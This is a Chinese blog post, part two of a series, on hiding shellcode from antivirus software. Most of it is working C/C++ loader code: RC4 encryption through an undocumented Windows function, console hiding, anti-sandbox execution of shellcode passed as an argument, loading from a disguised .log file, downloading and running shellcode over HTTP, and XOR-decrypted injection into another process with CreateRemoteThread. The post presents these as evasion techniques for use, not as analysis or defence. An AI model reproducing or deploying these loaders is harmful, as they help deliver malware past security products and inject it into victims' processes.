shellcode混淆加密(二)

发布时间 2023-11-12 16:28:45作者: 疯癫兄

shellcode混淆加密(二)

一、RC4

利用未公开函数进行RC4加解密,下面这种方式利用了advapi32.dll中的SystemFunction033函数,在解密时也要用到SystemFunction032函数,可能会被杀软标记,因此我们可以自实现一下,下面是使用api的加解密。

加密如下:

#include <windows.h>
#include <stdio.h>

typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring *memoryRegion,
	struct ustring *keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PUCHAR Buffer;
} scdata, key;

int main() {
	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char str_key[] = "helloWorld";
	 
	unsigned char shellcode[] = {};
	key.Buffer = (PUCHAR)(&str_key);
	key.Length = sizeof key;
	 
	scdata.Buffer = (PUCHAR)shellcode;
	scdata.Length = sizeof shellcode;
	SystemFunction033(&scdata, &key);
	printf("unsigned char shellcode[] = { ");
	for (size_t i = 0; i < scdata.Length; i++) {
		if (!(i % 16)) printf("\n    ");
		printf("0x%02x, ", scdata.Buffer[i]);
		if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
	}

}

解密如下:

#include <windows.h>
#include <stdio.h>

typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring *memoryRegion,
	struct ustring *keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PUCHAR Buffer;
} scdata, key;

int main() {
	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char str_key[] = "helloWorld";
	 
	unsigned char shellcode[] = {};
	key.Buffer = (PUCHAR)(&str_key);
	key.Length = sizeof key;
	 
	scdata.Buffer = (PUCHAR)shellcode;
	scdata.Length = sizeof shellcode;
	SystemFunction033(&scdata, &key);
	printf("unsigned char shellcode[] = { ");
	for (size_t i = 0; i < scdata.Length; i++) {
		if (!(i % 16)) printf("\n    ");
		printf("0x%02x, ", scdata.Buffer[i]);
		if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
	}

}

自实现的话推荐大佬一篇文章字符串加密与Shellcode 隐藏 | MYZXCG,学习到很多。文中介绍的RC4隐藏域名和IP以及资源文件隐藏shellcode。

二、AES加密

AES加密也可以用api加密,但是api也会被标记,我们可以去github找一些公开的加密库,然后自实现loader,其实在普通的loader加一个解密操作即可,不再演示。

https://github.com/SergeyBel/AES

https://github.com/kokke/tiny-AES-c

https://github.com/WaterJuice/WjCryptLib

https://github.com/mygityf/cipher

三、c++隐藏窗口

1.设置子系统

在源代码中加入下面一行即可隐藏, 推荐该方法

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )   

2.FreeConsole()方法

源代码中直接调用FreeConsole(); 即可,会闪一下,所以不太推荐。

3.ShowWindow()方法

通过找到窗口标题然后调整显示窗口的大小即可,窗口标题如果没有设置过的话

*// 获取窗口句柄*    
    HWND hWnd = FindWindow(NULL, "窗口标题");     
if (hWnd != NULL)    {        // 显示窗口       
    ShowWindow(hWnd, SW_SHOW);    }

4.WinMain

我们将主函数改成WinMain,几个参数意义如下:

  • hInstance:当前实例的句柄。
  • hPrevInstance:先前实例的句柄,在现代的Windows系统中这个参数总是NULL。
  • lpCmdLine:命令行参数,是一个指向以空字符结尾的字符串的指针。
  • nCmdShow:指定窗口应该以何种形式显示。
#include <Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    // ... 其他初始化工作 ...

  // 创建窗口并显示
  HWND hWnd = CreateWindow(/* 创建窗口的参数 */);
  ShowWindow(hWnd, SW_HIDE);  // 将窗口隐藏起来
    return 0;
}

这种方法不会闪一下,推荐。

四、shellcode传输之参数化传输

这种好处是可以对抗沙箱,我们在不接受参数的情况下,不会执行我们的shllcode,demo如下

#include <stdio.h>
#include <Windows.h>




void Run(char* code) {
	//临时变量
	unsigned int char_in_hex; 

	//整体的shellcode长度
	unsigned int tions = strlen(code);
	//比如数组长度是892,那么他就是由shellcode[0]到shellcode[891]构成,
	//后面加上一个终止符,此时strlen (shellcode) = 892,sizeof (shellcode) = 893,
	//所以计算长度的时候需要 a= (sizeof(shellcode) -1),
	//因为每两个字节为一组,所以我们在分配内存时,需要进行除二操作,
	//比如bytes = (sizeof(shellcode) - 1)/2  或者 bytes = strlen(shellcode)/2
	unsigned int memory_alloc = strlen(code) / 2;
	
	//还原shellcode,减少开销
	for (unsigned int i = 0; i < tions - 1; i++) {
		sscanf(code + 2 * i, "%2X", &char_in_hex);
		code[i] = (char)char_in_hex;
	};
	
	//申请内存
	LPVOID scode = VirtualAlloc(NULL, sizeof(memory_alloc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	//拷贝到内存
	CopyMemory(scode, code, memory_alloc);
	
	HANDLE hThread;
	DWORD dwThreadId;
	//创建线程
	hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)scode, NULL, NULL, &dwThreadId);
	// 等待线程
	WaitForSingleObject(hThread, INFINITE);

}


int main(int argc, char* argv[]) {

	//接收hex编码的shellcode
	char* ccode = argv[1];
	
	//简单进行参数判断, 反沙箱
	if (argc !=2)
	{
		printf("2222222");
		exit;
	}
	else
	{
		Run(ccode);
	}

}

五、shellcode传输之文件读取

可以起到分离的效果。

从文件中读取shellcode,这里有一个小技巧,我们可以将文件命名为xxx.log,前缀看自己的机器,可以达到一个隐蔽的效果。

CreateFile 打开文件

HANDLE CreateFileA(
  LPCSTR                lpFileName, // 要打开的文件的名字
  DWORD                 dwDesiredAccess, // 允许对设备的访问权限,GENERIC_READ  为读权限
  DWORD                 dwShareMode,	// 是否允许对文件进行共享访问 0 为不共享
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,  // 安全描述符
  DWORD                 dwCreationDisposition, // 动作 OPEN_EXISTING 表示打开已存在文件
  DWORD                 dwFlagsAndAttributes,	// 属性 FILE_ATTRIBUTE_NORMAL  为默认属性
  HANDLE                hTemplateFile	// 默认为 NULL 即可
);

GetFileSize 文件大小

DWORD GetFileSize(
  HANDLE  hFile, 		//  文件句柄
  LPDWORD lpFileSizeHigh		// 文件返回的大小
);

ReadFile 读取文件

BOOL ReadFile(
  HANDLE       hFile,	// 文件句柄
  LPVOID       lpBuffer,		// 接受数据用的 buffer
  DWORD        nNumberOfBytesToRead,	// 要读取的字节数
  LPDWORD      lpNumberOfBytesRead,		// 实际读取的字节数
  LPOVERLAPPED lpOverlapped // OVERLAPPED 结构 一般设为 NULL
);

最终代码

我们先通过CreatFile来打开文件,通过GetFileSize来获取文件大小用来分配空间,然后通过ReadFile来读取文件,并且将读取的内容存储到内存中。

#include <windows.h>

int main()
{
	DWORD dwSize;
	DWORD dwReadSize;
	HANDLE hFileNew;
	LPCWSTR file = L"C:\\Users\\xxx\\Desktop\\file";

	hFileNew = CreateFile(file, GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	
	if (hFileNew == INVALID_HANDLE_VALUE)
	{
		return 0;
	}

	dwSize = GetFileSize(hFileNew, NULL);

	void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL);

	((void(*)())exec)();
}

六、shellcode传输之通过http远程加载

我们通过http server来远程加载其实也起到了一个分离免杀的效果,下面是我们的demo

#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>


int main() {
	void* exec;
	int payload_len = 4096;

	LPSTR url = (char*)"http://127.0.0.1:8000/calc_shellcode.bin";


	HINTERNET   session;
	HINTERNET   conn;
	HINTERNET   reqfile;
	DWORD       nread;
	//申请执行的空间
	exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	//打开一个与互联网的连接
	session = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	//与url建立连接
	conn = InternetOpenUrlA(session, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
	//读取文件,并保存到申请的空间中
	InternetReadFile(conn, exec, payload_len, &nread);
	((void(*)())exec)();

	InternetCloseHandle(conn);
	InternetCloseHandle(session);

}

七、内存解密

接下来这段代码我们会向目标进程ID分配内存空间,然后将shellcode逐位解密然后逐位放到进程空间,然后CreateRemoteThread 在目标进程中创建一个远程线程,并执行分配的内存空间。

#include<stdio.h>
#include<Windows.h>

unsigned char shellcode[] = { };

int main(int argc, char* argv[]) {
	if (argc < 2) {
			printf("Input progress_id");
		}
		else
		{
			DWORD progress_id = atoi(argv[1]);
			HANDLE hProgress = OpenProcess(PROCESS_ALL_ACCESS, false, progress_id);
			if (hProgress) {
				LPVOID lp = VirtualAllocEx(hProgress, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
				if (lp) {
					printf("Allocted base address is 0x%p/n", lp);
					int n = 0;
					for (int i = 0; i < sizeof(shellcode); i++) {
						char decrypted_char = shellcode[i] ^ 0x35;
						if (WriteProcessMemory(hProgress, (LPVOID)((ULONG_PTR)lp + i), &decrypted_char, 1, NULL)) {
							printf("BYTE write successful\n");
						}
					}
					CreateRemoteThread(hProgress, NULL, 0, (LPTHREAD_START_ROUTINE)lp, NULL, 0, NULL);
					printf("OK");
				}
			}
			
		}
	}

其实我们在shellcode免杀(一) - 疯癫兄 - 博客园 (cnblogs.com)中讨论的sgn也是属于该类。